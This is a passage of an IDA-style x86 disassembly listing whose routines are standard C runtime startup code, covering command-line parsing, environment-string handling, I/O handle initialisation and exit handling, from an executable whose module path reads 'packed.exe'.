sub_427BE0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427D30 proc near ; CODE XREF: sub_41AB00+C8p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 14h cmp dword_4DF68C, 0 jnz short loc_427D44 call sub_4222D0 loc_427D44: ; CODE XREF: sub_427D30+Dj push 104h push offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" push 0 call dword_4E0334 ; GetModuleFileNameA mov off_4DDFB0, offset aCM_unpackerPac ; "C:\\m_unpacker\\packed.exe" mov eax, dword_4DF684 movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_427D77 mov edx, off_4DDFB0 mov [ebp+var_14], edx jmp short loc_427D7F ; --------------------------------------------------------------------------- loc_427D77: ; CODE XREF: sub_427D30+3Aj mov eax, dword_4DF684 mov [ebp+var_14], eax loc_427D7F: ; CODE XREF: sub_427D30+45j mov ecx, [ebp+var_14] mov [ebp+var_10], ecx lea edx, [ebp+var_4] push edx lea eax, [ebp+var_C] push eax push 0 push 0 mov ecx, [ebp+var_10] push ecx call sub_427E10 add esp, 14h push 80h push offset dword_4353C4 push 2 mov edx, [ebp+var_C] mov eax, [ebp+var_4] lea ecx, [eax+edx*4] push ecx call sub_4150C0 add esp, 10h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_427DCE push 8 call sub_41AC70 add esp, 4 loc_427DCE: ; CODE XREF: sub_427D30+92j lea edx, [ebp+var_4] push edx lea eax, [ebp+var_C] push eax mov ecx, [ebp+var_C] mov edx, [ebp+var_8] lea eax, [edx+ecx*4] push eax mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_10] push edx call sub_427E10 add esp, 14h mov eax, [ebp+var_C] sub eax, 1 mov dword_4DDF94, eax mov ecx, [ebp+var_8] mov dword_4DDF98, ecx mov esp, ebp pop ebp retn sub_427D30 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_427E10 proc near ; CODE XREF: sub_427D30+65p ; sub_427D30+B8p var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 14h mov eax, [ebp+arg_10] mov dword ptr [eax], 0 mov ecx, [ebp+arg_C] mov dword ptr [ecx], 1 mov edx, [ebp+arg_0] mov [ebp+var_4], edx cmp [ebp+arg_4], 0 jz short loc_427E45 mov eax, [ebp+arg_4] mov ecx, [ebp+arg_8] mov [eax], ecx mov edx, [ebp+arg_4] add edx, 4 mov [ebp+arg_4], edx loc_427E45: ; CODE XREF: sub_427E10+22j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz loc_427F1D loc_427E54: ; CODE XREF: sub_427E10:loc_427EDDj mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jz short loc_427EE2 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_427EE2 mov ecx, [ebp+var_4] xor edx, edx mov dl, [ecx] xor eax, eax mov al, byte_4DE541[edx] and eax, 4 test eax, eax jz short loc_427EB7 mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx cmp [ebp+arg_8], 0 jz short loc_427EB7 mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_427EB7: ; CODE XREF: sub_427E10+76j ; sub_427E10+89j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_427EDD mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_427EDD: ; CODE XREF: sub_427E10+B8j jmp loc_427E54 ; --------------------------------------------------------------------------- loc_427EE2: ; CODE XREF: sub_427E10+56j ; sub_427E10+60j mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx cmp [ebp+arg_8], 0 jz short loc_427F04 mov ecx, [ebp+arg_8] mov byte ptr [ecx], 0 mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx loc_427F04: ; CODE XREF: sub_427E10+E3j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz short loc_427F18 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_427F18: ; CODE XREF: sub_427E10+FDj jmp loc_427FEC ; --------------------------------------------------------------------------- loc_427F1D: ; CODE XREF: sub_427E10+3Ej ; sub_427E10+1B1j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_427F43 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_427F43: ; CODE XREF: sub_427E10+11Ej mov ecx, [ebp+var_4] mov dl, [ecx] mov byte ptr [ebp+var_C], dl mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+var_C] and ecx, 0FFh xor edx, edx mov dl, byte_4DE541[ecx] and edx, 4 test edx, edx jz short loc_427F9B mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx cmp [ebp+arg_8], 0 jz short loc_427F92 mov eax, [ebp+arg_8] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax], dl mov eax, [ebp+arg_8] add eax, 1 mov [ebp+arg_8], eax loc_427F92: ; CODE XREF: sub_427E10+16Dj mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx loc_427F9B: ; CODE XREF: sub_427E10+15Aj mov edx, [ebp+var_C] and edx, 0FFh cmp edx, 20h jz short loc_427FC7 mov eax, [ebp+var_C] and eax, 0FFh test eax, eax jz short loc_427FC7 mov ecx, [ebp+var_C] and ecx, 0FFh cmp ecx, 9 jnz loc_427F1D loc_427FC7: ; CODE XREF: sub_427E10+197j ; sub_427E10+1A3j mov edx, [ebp+var_C] and edx, 0FFh test edx, edx jnz short loc_427FDF mov eax, [ebp+var_4] sub eax, 1 mov [ebp+var_4], eax jmp short loc_427FEC ; --------------------------------------------------------------------------- loc_427FDF: ; CODE XREF: sub_427E10+1C2j cmp [ebp+arg_8], 0 jz short loc_427FEC mov ecx, [ebp+arg_8] mov byte ptr [ecx-1], 0 loc_427FEC: ; CODE XREF: sub_427E10:loc_427F18j ; sub_427E10+1CDj ... mov [ebp+var_14], 0 loc_427FF3: ; CODE XREF: sub_427E10+3F6j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_42801E loc_427FFD: ; CODE XREF: sub_427E10+20Cj mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_428013 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jnz short loc_42801E loc_428013: ; CODE XREF: sub_427E10+1F6j mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx jmp short loc_427FFD ; --------------------------------------------------------------------------- loc_42801E: ; CODE XREF: sub_427E10+1EBj ; sub_427E10+201j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] test ecx, ecx jnz short loc_42802D jmp loc_42820B ; --------------------------------------------------------------------------- loc_42802D: ; CODE XREF: sub_427E10+216j cmp [ebp+arg_4], 0 jz short loc_428044 mov edx, [ebp+arg_4] mov eax, [ebp+arg_8] mov [edx], eax mov ecx, [ebp+arg_4] add ecx, 4 mov [ebp+arg_4], ecx loc_428044: ; CODE XREF: sub_427E10+221j mov edx, [ebp+arg_C] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax loc_428051: ; CODE XREF: sub_427E10+3CFj mov [ebp+var_8], 1 mov [ebp+var_10], 0 loc_42805F: ; CODE XREF: sub_427E10+26Cj mov edx, [ebp+var_4] movsx eax, byte ptr [edx] cmp eax, 5Ch jnz short loc_42807E mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx mov edx, [ebp+var_10] add edx, 1 mov [ebp+var_10], edx jmp short loc_42805F ; --------------------------------------------------------------------------- loc_42807E: ; CODE XREF: sub_427E10+258j mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 22h jnz short loc_4280DA mov eax, [ebp+var_10] xor edx, edx mov ecx, 2 div ecx test edx, edx jnz short loc_4280D2 cmp [ebp+var_14], 0 jz short loc_4280BF mov edx, [ebp+var_4] movsx eax, byte ptr [edx+1] cmp eax, 22h jnz short loc_4280B6 mov ecx, [ebp+var_4] add ecx, 1 mov [ebp+var_4], ecx jmp short loc_4280BD ; --------------------------------------------------------------------------- loc_4280B6: ; CODE XREF: sub_427E10+299j mov [ebp+var_8], 0 loc_4280BD: ; CODE XREF: sub_427E10+2A4j jmp short loc_4280C6 ; --------------------------------------------------------------------------- loc_4280BF: ; CODE XREF: sub_427E10+28Dj mov [ebp+var_8], 0 loc_4280C6: ; CODE XREF: sub_427E10:loc_4280BDj xor edx, edx cmp [ebp+var_14], 0 setz dl mov [ebp+var_14], edx loc_4280D2: ; CODE XREF: sub_427E10+287j mov eax, [ebp+var_10] shr eax, 1 mov [ebp+var_10], eax loc_4280DA: ; CODE XREF: sub_427E10+277j ; sub_427E10+2FCj mov ecx, [ebp+var_10] mov edx, [ebp+var_10] sub edx, 1 mov [ebp+var_10], edx test ecx, ecx jz short loc_42810E cmp [ebp+arg_8], 0 jz short loc_4280FF mov eax, [ebp+arg_8] mov byte ptr [eax], 5Ch mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx loc_4280FF: ; CODE XREF: sub_427E10+2DEj mov edx, [ebp+arg_10] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_10] mov [ecx], eax jmp short loc_4280DA ; --------------------------------------------------------------------------- loc_42810E: ; CODE XREF: sub_427E10+2D8j mov edx, [ebp+var_4] movsx eax, byte ptr [edx] test eax, eax jz short loc_428134 cmp [ebp+var_14], 0 jnz short loc_428139 mov ecx, [ebp+var_4] movsx edx, byte ptr [ecx] cmp edx, 20h jz short loc_428134 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] cmp ecx, 9 jnz short loc_428139 loc_428134: ; CODE XREF: sub_427E10+306j ; sub_427E10+317j jmp loc_4281E4 ; --------------------------------------------------------------------------- loc_428139: ; CODE XREF: sub_427E10+30Cj ; sub_427E10+322j cmp [ebp+var_8], 0 jz loc_4281D6 cmp [ebp+arg_8], 0 jz short loc_42819D mov edx, [ebp+var_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, byte_4DE541[eax] and ecx, 4 test ecx, ecx jz short loc_428188 mov edx, [ebp+arg_8] mov eax, [ebp+var_4] mov cl, [eax] mov [edx], cl mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax mov ecx, [ebp+arg_10] mov edx, [ecx] add edx, 1 mov eax, [ebp+arg_10] mov [eax], edx loc_428188: ; CODE XREF: sub_427E10+34Dj mov ecx, [ebp+arg_8] mov edx, [ebp+var_4] mov al, [edx] mov [ecx], al mov ecx, [ebp+arg_8] add ecx, 1 mov [ebp+arg_8], ecx jmp short loc_4281C9 ; --------------------------------------------------------------------------- loc_42819D: ; CODE XREF: sub_427E10+337j mov edx, [ebp+var_4] xor eax, eax mov al, [edx] xor ecx, ecx mov cl, byte_4DE541[eax] and ecx, 4 test ecx, ecx jz short loc_4281C9 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx loc_4281C9: ; CODE XREF: sub_427E10+38Bj ; sub_427E10+3A1j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx loc_4281D6: ; CODE XREF: sub_427E10+32Dj mov eax, [ebp+var_4] add eax, 1 mov [ebp+var_4], eax jmp loc_428051 ; --------------------------------------------------------------------------- loc_4281E4: ; CODE XREF: sub_427E10:loc_428134j cmp [ebp+arg_8], 0 jz short loc_4281F9 mov ecx, [ebp+arg_8] mov byte ptr [ecx], 0 mov edx, [ebp+arg_8] add edx, 1 mov [ebp+arg_8], edx loc_4281F9: ; CODE XREF: sub_427E10+3D8j mov eax, [ebp+arg_10] mov ecx, [eax] add ecx, 1 mov edx, [ebp+arg_10] mov [edx], ecx jmp loc_427FF3 ; --------------------------------------------------------------------------- loc_42820B: ; CODE XREF: sub_427E10+218j cmp [ebp+arg_4], 0 jz short loc_428223 mov eax, [ebp+arg_4] mov dword ptr [eax], 0 mov ecx, [ebp+arg_4] add ecx, 4 mov [ebp+arg_4], ecx loc_428223: ; CODE XREF: sub_427E10+3FFj mov edx, [ebp+arg_C] mov eax, [edx] add eax, 1 mov ecx, [ebp+arg_C] mov [ecx], eax mov esp, ebp pop ebp retn sub_427E10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428240 proc near ; CODE XREF: sub_41AB00+BEp var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 18h mov [ebp+var_14], 0 mov [ebp+var_18], 0 cmp dword_4DE194, 0 jnz short loc_42829A call dword_4E031C ; GetEnvironmentStringsW mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_428278 mov dword_4DE194, 1 jmp short loc_42829A ; --------------------------------------------------------------------------- loc_428278: ; CODE XREF: sub_428240+2Aj call dword_4E0320 ; GetEnvironmentStringsA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_428293 mov dword_4DE194, 2 jmp short loc_42829A ; --------------------------------------------------------------------------- loc_428293: ; CODE XREF: sub_428240+45j xor eax, eax jmp loc_428455 ; --------------------------------------------------------------------------- loc_42829A: ; CODE XREF: sub_428240+1Bj ; sub_428240+36j ... cmp dword_4DE194, 1 jnz loc_42839E cmp [ebp+var_14], 0 jnz short loc_4282C3 call dword_4E031C ; GetEnvironmentStringsW mov [ebp+var_14], eax cmp [ebp+var_14], 0 jnz short loc_4282C3 xor eax, eax jmp loc_428455 ; --------------------------------------------------------------------------- loc_4282C3: ; CODE XREF: sub_428240+6Bj ; sub_428240+7Aj mov eax, [ebp+var_14] mov [ebp+var_8], eax loc_4282C9: ; CODE XREF: sub_428240:loc_4282F3j mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] test edx, edx jz short loc_4282F5 mov eax, [ebp+var_8] add eax, 2 mov [ebp+var_8], eax mov ecx, [ebp+var_8] xor edx, edx mov dx, [ecx] test edx, edx jnz short loc_4282F3 mov eax, [ebp+var_8] add eax, 2 mov [ebp+var_8], eax loc_4282F3: ; CODE XREF: sub_428240+A8j jmp short loc_4282C9 ; --------------------------------------------------------------------------- loc_4282F5: ; CODE XREF: sub_428240+93j mov ecx, [ebp+var_8] sub ecx, [ebp+var_14] sar ecx, 1 add ecx, 1 mov [ebp+var_4], ecx push 0 push 0 push 0 push 0 mov edx, [ebp+var_4] push edx mov eax, [ebp+var_14] push eax push 0 push 0 call dword_4E0424 ; WideCharToMultiByte mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz short loc_428344 push 64h push offset dword_4353D0 push 2 mov ecx, [ebp+var_10] push ecx call sub_4150C0 add esp, 10h mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_428355 loc_428344: ; CODE XREF: sub_428240+E4j mov edx, [ebp+var_14] push edx call dword_4E0324 ; FreeEnvironmentStringsW xor eax, eax jmp loc_428455 ; --------------------------------------------------------------------------- loc_428355: ; CODE XREF: sub_428240+102j push 0 push 0 mov eax, [ebp+var_10] push eax mov ecx, [ebp+var_18] push ecx mov edx, [ebp+var_4] push edx mov eax, [ebp+var_14] push eax push 0 push 0 call dword_4E0424 ; WideCharToMultiByte test eax, eax jnz short loc_42838C push 2 mov ecx, [ebp+var_18] push ecx call sub_415C60 add esp, 8 mov [ebp+var_18], 0 loc_42838C: ; CODE XREF: sub_428240+135j mov edx, [ebp+var_14] push edx call dword_4E0324 ; FreeEnvironmentStringsW mov eax, [ebp+var_18] jmp loc_428455 ; --------------------------------------------------------------------------- loc_42839E: ; CODE XREF: sub_428240+61j cmp dword_4DE194, 2 jnz loc_428453 cmp [ebp+var_18], 0 jnz short loc_4283C7 call dword_4E0320 ; GetEnvironmentStringsA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jnz short loc_4283C7 xor eax, eax jmp loc_428455 ; --------------------------------------------------------------------------- loc_4283C7: ; CODE XREF: sub_428240+16Fj ; sub_428240+17Ej mov eax, [ebp+var_18] mov [ebp+var_C], eax loc_4283CD: ; CODE XREF: sub_428240:loc_4283F3j mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] test edx, edx jz short loc_4283F5 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax mov ecx, [ebp+var_C] movsx edx, byte ptr [ecx] test edx, edx jnz short loc_4283F3 mov eax, [ebp+var_C] add eax, 1 mov [ebp+var_C], eax loc_4283F3: ; CODE XREF: sub_428240+1A8j jmp short loc_4283CD ; --------------------------------------------------------------------------- loc_4283F5: ; CODE XREF: sub_428240+195j mov ecx, [ebp+var_C] sub ecx, [ebp+var_18] add ecx, 1 mov [ebp+var_10], ecx push 8Fh push offset dword_4353D0 push 2 mov edx, [ebp+var_10] push edx call sub_4150C0 add esp, 10h mov [ebp+var_C], eax cmp [ebp+var_C], 0 jnz short loc_428430 mov eax, [ebp+var_18] push eax call dword_4E04D0 ; FreeEnvironmentStringsA xor eax, eax jmp short loc_428455 ; --------------------------------------------------------------------------- loc_428430: ; CODE XREF: sub_428240+1E0j mov ecx, [ebp+var_10] push ecx mov edx, [ebp+var_18] push edx mov eax, [ebp+var_C] push eax call sub_419330 add esp, 0Ch mov ecx, [ebp+var_18] push ecx call dword_4E04D0 ; FreeEnvironmentStringsA mov eax, [ebp+var_C] jmp short loc_428455 ; --------------------------------------------------------------------------- loc_428453: ; CODE XREF: sub_428240+165j xor eax, eax loc_428455: ; CODE XREF: sub_428240+55j ; sub_428240+7Ej ... mov esp, ebp pop ebp retn sub_428240 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428460 proc near ; CODE XREF: sub_41AB00+AEp var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = byte ptr -48h var_16 = dword ptr -16h var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 6Ch push 81h push offset dword_4353D8 push 2 push 480h call sub_4150C0 add esp, 10h mov [ebp+var_50], eax cmp [ebp+var_50], 0 jnz short loc_428492 push 1Bh call sub_41AC70 add esp, 4 loc_428492: ; CODE XREF: sub_428460+26j mov eax, [ebp+var_50] mov dword_4DE320, eax mov dword_4DE420, 20h jmp short loc_4284AF ; --------------------------------------------------------------------------- loc_4284A6: ; CODE XREF: sub_428460+81j mov ecx, [ebp+var_50] add ecx, 24h mov [ebp+var_50], ecx loc_4284AF: ; CODE XREF: sub_428460+44j mov edx, dword_4DE320 add edx, 480h cmp [ebp+var_50], edx jnb short loc_4284E3 mov eax, [ebp+var_50] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_50] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_50] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_50] mov dword ptr [eax+8], 0 jmp short loc_4284A6 ; --------------------------------------------------------------------------- loc_4284E3: ; CODE XREF: sub_428460+5Ej lea ecx, [ebp+var_48] push ecx call dword_4E0458 ; GetStartupInfoA mov edx, [ebp+var_16] and edx, 0FFFFh test edx, edx jz loc_428685 cmp [ebp+var_16+2], 0 jz loc_428685 mov eax, [ebp+var_16+2] mov ecx, [eax] mov [ebp+var_64], ecx mov edx, [ebp+var_16+2] add edx, 4 mov [ebp+var_4], edx mov eax, [ebp+var_4] add eax, [ebp+var_64] mov [ebp+var_60], eax cmp [ebp+var_64], 800h jge short loc_428533 mov ecx, [ebp+var_64] mov [ebp+var_68], ecx jmp short loc_42853A ; --------------------------------------------------------------------------- loc_428533: ; CODE XREF: sub_428460+C9j mov [ebp+var_68], 800h loc_42853A: ; CODE XREF: sub_428460+D1j mov edx, [ebp+var_68] mov [ebp+var_64], edx mov [ebp+var_5C], 1 jmp short loc_428552 ; --------------------------------------------------------------------------- loc_428549: ; CODE XREF: sub_428460:loc_4285EDj mov eax, [ebp+var_5C] add eax, 1 mov [ebp+var_5C], eax loc_428552: ; CODE XREF: sub_428460+E7j mov ecx, dword_4DE420 cmp ecx, [ebp+var_64] jge loc_4285F2 push 0B6h push offset dword_4353D8 push 2 push 480h call sub_4150C0 add esp, 10h mov [ebp+var_50], eax cmp [ebp+var_50], 0 jnz short loc_42858E mov edx, dword_4DE420 mov [ebp+var_64], edx jmp short loc_4285F2 ; --------------------------------------------------------------------------- loc_42858E: ; CODE XREF: sub_428460+121j mov eax, [ebp+var_5C] mov ecx, [ebp+var_50] mov dword_4DE320[eax*4], ecx mov edx, dword_4DE420 add edx, 20h mov dword_4DE420, edx jmp short loc_4285B5 ; --------------------------------------------------------------------------- loc_4285AC: ; CODE XREF: sub_428460+18Bj mov eax, [ebp+var_50] add eax, 24h mov [ebp+var_50], eax loc_4285B5: ; CODE XREF: sub_428460+14Aj mov ecx, [ebp+var_5C] mov edx, dword_4DE320[ecx*4] add edx, 480h cmp [ebp+var_50], edx jnb short loc_4285ED mov eax, [ebp+var_50] mov byte ptr [eax+4], 0 mov ecx, [ebp+var_50] mov dword ptr [ecx], 0FFFFFFFFh mov edx, [ebp+var_50] mov byte ptr [edx+5], 0Ah mov eax, [ebp+var_50] mov dword ptr [eax+8], 0 jmp short loc_4285AC ; --------------------------------------------------------------------------- loc_4285ED: ; CODE XREF: sub_428460+168j jmp loc_428549 ; --------------------------------------------------------------------------- loc_4285F2: ; CODE XREF: sub_428460+FBj ; sub_428460+12Cj mov [ebp+var_58], 0 jmp short loc_428616 ; --------------------------------------------------------------------------- loc_4285FB: ; CODE XREF: sub_428460:loc_428680j mov ecx, [ebp+var_58] add ecx, 1 mov [ebp+var_58], ecx mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx mov eax, [ebp+var_60] add eax, 4 mov [ebp+var_60], eax loc_428616: ; CODE XREF: sub_428460+199j mov ecx, [ebp+var_58] cmp ecx, [ebp+var_64] jge short loc_428685 mov edx, [ebp+var_60] cmp dword ptr [edx], 0FFFFFFFFh jz short loc_428680 mov eax, [ebp+var_4] movsx ecx, byte ptr [eax] and ecx, 1 test ecx, ecx jz short loc_428680 mov edx, [ebp+var_4] movsx eax, byte ptr [edx] and eax, 8 test eax, eax jnz short loc_428650 mov ecx, [ebp+var_60] mov edx, [ecx] push edx call dword_4E0314 ; GetFileType test eax, eax jz short loc_428680 loc_428650: ; CODE XREF: sub_428460+1DEj mov eax, [ebp+var_58] sar eax, 5 mov ecx, [ebp+var_58] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] add edx, ecx mov [ebp+var_50], edx mov eax, [ebp+var_50] mov ecx, [ebp+var_60] mov edx, [ecx] mov [eax], edx mov eax, [ebp+var_50] mov ecx, [ebp+var_4] mov dl, [ecx] mov [eax+4], dl loc_428680: ; CODE XREF: sub_428460+1C4j ; sub_428460+1D1j ... jmp loc_4285FB ; --------------------------------------------------------------------------- loc_428685: ; CODE XREF: sub_428460+98j ; sub_428460+A2j ... mov [ebp+var_58], 0 jmp short loc_428697 ; --------------------------------------------------------------------------- loc_42868E: ; CODE XREF: sub_428460:loc_42876Fj mov eax, [ebp+var_58] add eax, 1 mov [ebp+var_58], eax loc_428697: ; CODE XREF: sub_428460+22Cj cmp [ebp+var_58], 3 jge loc_428774 mov ecx, [ebp+var_58] imul ecx, 24h mov edx, dword_4DE320 add edx, ecx mov [ebp+var_50], edx mov eax, [ebp+var_50] cmp dword ptr [eax], 0FFFFFFFFh jnz loc_428760 mov ecx, [ebp+var_50] mov byte ptr [ecx+4], 81h cmp [ebp+var_58], 0 jnz short loc_4286D4 mov [ebp+var_6C], 0FFFFFFF6h jmp short loc_4286E4 ; --------------------------------------------------------------------------- loc_4286D4: ; CODE XREF: sub_428460+269j mov edx, [ebp+var_58] sub edx, 1 neg edx sbb edx, edx add edx, 0FFFFFFF5h mov [ebp+var_6C], edx loc_4286E4: ; CODE XREF: sub_428460+272j mov eax, [ebp+var_6C] push eax call dword_4E0468 ; GetStdHandle mov [ebp+var_4C], eax cmp [ebp+var_4C], 0FFFFFFFFh jz short loc_42874F mov ecx, [ebp+var_4C] push ecx call dword_4E0314 ; GetFileType mov [ebp+var_54], eax cmp [ebp+var_54], 0 jz short loc_42874F mov edx, [ebp+var_50] mov eax, [ebp+var_4C] mov [edx], eax mov ecx, [ebp+var_54] and ecx, 0FFh cmp ecx, 2 jnz short loc_428730 mov edx, [ebp+var_50] mov al, [edx+4] or al, 40h mov ecx, [ebp+var_50] mov [ecx+4], al jmp short loc_42874D ; --------------------------------------------------------------------------- loc_428730: ; CODE XREF: sub_428460+2BEj mov edx, [ebp+var_54] and edx, 0FFh cmp edx, 3 jnz short loc_42874D mov eax, [ebp+var_50] mov cl, [eax+4] or cl, 8 mov edx, [ebp+var_50] mov [edx+4], cl loc_42874D: ; CODE XREF: sub_428460+2CEj ; sub_428460+2DCj jmp short loc_42875E ; --------------------------------------------------------------------------- loc_42874F: ; CODE XREF: sub_428460+295j ; sub_428460+2A8j mov eax, [ebp+var_50] mov cl, [eax+4] or cl, 40h mov edx, [ebp+var_50] mov [edx+4], cl loc_42875E: ; CODE XREF: sub_428460:loc_42874Dj jmp short loc_42876F ; --------------------------------------------------------------------------- loc_428760: ; CODE XREF: sub_428460+258j mov eax, [ebp+var_50] mov cl, [eax+4] or cl, 80h mov edx, [ebp+var_50] mov [edx+4], cl loc_42876F: ; CODE XREF: sub_428460:loc_42875Ej jmp loc_42868E ; --------------------------------------------------------------------------- loc_428774: ; CODE XREF: sub_428460+23Bj mov eax, dword_4DE420 push eax call dword_4E0318 ; SetHandleCount mov esp, ebp pop ebp retn sub_428460 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp sub esp, 8 mov dword ptr [ebp-8], 0 jmp short loc_4287A8 ; --------------------------------------------------------------------------- loc_42879F: ; CODE XREF: .data:loc_428822j mov eax, [ebp-8] add eax, 1 mov [ebp-8], eax loc_4287A8: ; CODE XREF: .data:0042879Dj cmp dword ptr [ebp-8], 40h jge short loc_428827 mov ecx, [ebp-8] cmp dword_4DE320[ecx*4], 0 jz short loc_428822 mov edx, [ebp-8] mov eax, dword_4DE320[edx*4] mov [ebp-4], eax jmp short loc_4287D3 ; --------------------------------------------------------------------------- loc_4287CA: ; CODE XREF: .data:loc_4287FDj mov ecx, [ebp-4] add ecx, 24h mov [ebp-4], ecx loc_4287D3: ; CODE XREF: .data:004287C8j mov edx, [ebp-8] mov eax, dword_4DE320[edx*4] add eax, 480h cmp [ebp-4], eax jnb short loc_4287FF mov ecx, [ebp-4] cmp dword ptr [ecx+8], 0 jz short loc_4287FD mov edx, [ebp-4] add edx, 0Ch push edx call dword_4E03B0 ; RtlDeleteCriticalSection loc_4287FD: ; CODE XREF: .data:004287EEj jmp short loc_4287CA ; --------------------------------------------------------------------------- loc_4287FF: ; CODE XREF: .data:004287E5j push 2 mov eax, [ebp-8] mov ecx, dword_4DE320[eax*4] push ecx call sub_415C60 add esp, 8 mov edx, [ebp-8] mov dword_4DE320[edx*4], 0 loc_428822: ; CODE XREF: .data:004287B9j jmp loc_42879F ; --------------------------------------------------------------------------- loc_428827: ; CODE XREF: .data:004287ACj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428830 proc near ; CODE XREF: sub_41AC70+Cp ; sub_41ACA0+Cp push ebp mov ebp, esp cmp dword_4DDFD8, 1 jz short loc_42884E cmp dword_4DDFD8, 0 jnz short loc_428877 cmp dword_444ED4, 1 jnz short loc_428877 loc_42884E: ; CODE XREF: sub_428830+Aj push 0FCh call sub_428880 add esp, 4 cmp dword_4DE198, 0 jz short loc_42886A call dword_4DE198 loc_42886A: ; CODE XREF: sub_428830+32j push 0FFh call sub_428880 add esp, 4 loc_428877: ; CODE XREF: sub_428830+13j ; sub_428830+1Cj pop ebp retn sub_428830 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_428880 proc near ; CODE XREF: sub_41AC70+15p ; sub_41ACA0+15p ... var_1B0 = byte ptr -1B0h var_110 = byte ptr -110h var_C = dword ptr -0Ch var_8 = dword 